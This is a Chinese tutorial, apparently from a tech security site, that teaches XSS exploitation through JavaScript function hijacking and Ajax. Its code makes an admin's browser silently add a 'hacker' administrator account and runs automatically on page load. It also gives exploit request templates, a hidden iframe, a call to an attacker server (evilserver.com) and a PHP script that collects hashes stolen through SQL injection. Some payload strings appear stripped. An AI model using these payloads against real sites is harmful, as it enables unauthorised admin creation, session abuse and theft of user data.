大多数人因为两个原因而认为xss漏洞不够强大。其中一个原因:可能你只能利用它来盗取cookie,而另一个原因则是:你(错误地)认为(利用)它需要目标点击特定的连接或者访问特定的网站。在这篇文章中我将要证明利用xss漏洞能做比盗取cookie多得多的事情,即使你仍然需要目标去点击特定的链接。一种被称为Ajax的新技术正在网络中蔓延。Ajax技术允许你利用javascript来发送HTTP请求。一个简单的没有ajax功能的网站是像这样的(工作模式):
客户端请求 -à 服务器响应 -à 返回内容 -à 客户端
而ajax的(工作模式)类似于:
客户端请求 -à javascript -à 服务器响应 -à 数据 -à javascript处理
我将以展示怎样利用xss漏洞劫持javascript函数为开头,(进而)我们将看到网站过于信任javascript而造成的影响以及利用这种技术(达到的)各种可能性。
在我们开始之前,你必须做几件事:
设置magic_quotes_gpc = off
允许javascript在你的浏览器中执行
从我的网站上下载这些例子(有这样打广告的??)
1. 利用xss劫持javascript
让我们清晰的了解它,这是一个有xss漏洞的php网页代码:
这里还有一个javascript脚本文件,代码为:
function Hello()
{
alert("Hi there");
}
这非常简单,我们拥有一个包含一个按钮的网页,当点击这个按钮就会弹出一个对话框“Hi there”。
[host]/?xss=
Ok,现在我们在点击一下我们的按钮,发生了什么?我们没有得到“Hi there”,而得到了“hijacked”!这意味着我们能利用xss漏洞劫持javascript代码,当用户调用函数时回执行我们的代码而并非原来的。
好,我们已经知道了在url中重建javascript函数,但是如果你需要重建很多函数,通过url这样做会使你完蛋的。所以让我们重建一个新的javascript文件来包含我们需要的一切。
function Hello()
{
alert("Hijack from remote");
}
然后我们像这样提交url:
[host]/?xss=
让后我们再次点击我们的按钮发生了什么?“Hijack from remote”! Ok,(到此为止)我们知道了怎样正确的劫持javascript函数。
2. 利用Ajax做更多的事:XMLHttpRequest的高级运用实例
为了演示这个技术我编写了一个适用于教学的实例,(请)到我的网站下载。我将会应用它的部分代码并且解释他们。它是一个简单的管理员用来添加新管理员或者在博客上发布消息的控制面板。在页面add_message.php?author=[xss]有一个xss漏洞,这是我们将用来攻击的地方!
我编写了一个轻量级的exploit来劫持javascript函数,代码为:
function createRequest()
{
var xmlHttp;
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
return xmlHttp;
}
function validateForm()
{
var xmlHttp;
xmlHttp = createRequest();
url = "add_admin.php?login=hacker&password=hacker&email= hacker";
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
document.location = "add_message.php";
}
非常好,要利用这个漏洞我们需要管理员访问这个url:
[host]/add_message?author=http://[host]/?xss=
当他点击提交按钮时我们的恶意代码会添加一个账户密码都为“hacker”的用户到数据库里。我们能使目标运行我们的恶意代码!但任然需要用户点击按钮……
3. 自动执行
上面的例子总是需要目标点击一个按钮来完成我们的攻击。这里有一个解决(方案)给你:
window.onload = function i
nitHijack()
{
[…]
}
我们的攻击将会在目标点击特定链接后自动完成。你也能在目标关闭页面时执行一些javascript代码:
window.unload = function initHijack()
{
[…]
}
4. Ajax代码模板
这里有一些基本的样例代码能应付你编写javascript exploit:
GET 请求:
var url = "page.php?param1=value1?m2=value2";
http.open("GET", url, true);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(null);
POST 请求:
var url = "page.php";
var params = "param1=value1?m2=value2";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
提示:在POST请求里,你必须设置一些HTTP头信息。(另外,)使用open()发送GET请求。
function RemoteGetWithOpen()
{
open("http://www.evilserver.com/ajaxhack/evil.php?param1=value1?m2=value2");
}
利用iframe发送GET请求
function CreateAbritraryIframe()
{
;
// we hide it
var attribut_visibility = document.createAttribute("style");
attribut_visibility.nodeValue = "visibility:hidden;";
objIframe.setAttributeNode(attribut_visibility);
// we set a name to our frame
var attribut_name = document.createAttribute("name");
attribut_name.nodeValue = "exploit";
objIframe.setAttributeNode(attribut_name);
objBody.appendChild(objIframe);
return true;
}
到了这里你应该能理解javascript要做什么,但我还是要啰嗦一点:脚本发送一个http请求来攻击某个Sql注入漏洞,当获取数据后提交给我们服务器上的代码输出成文件。代码如下:
if(isset($_GET['page']))
{
$content = file_get_contents($_GET['page']);
$open = fopen("hash.txt", "a+");
fwrite($open, $content);
fclose($open);
}
微信公众号
TechTarget
官方微博
TechTarget中国
评论
查看更多评论
敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。
提交评论
软件开发安全>更多
对于漏洞和攻击,高效的安全项目和团队不仅应当提供反应性的措施,而且还要积极地与内部的信息团队协作,构建“先发制人”的软件安全。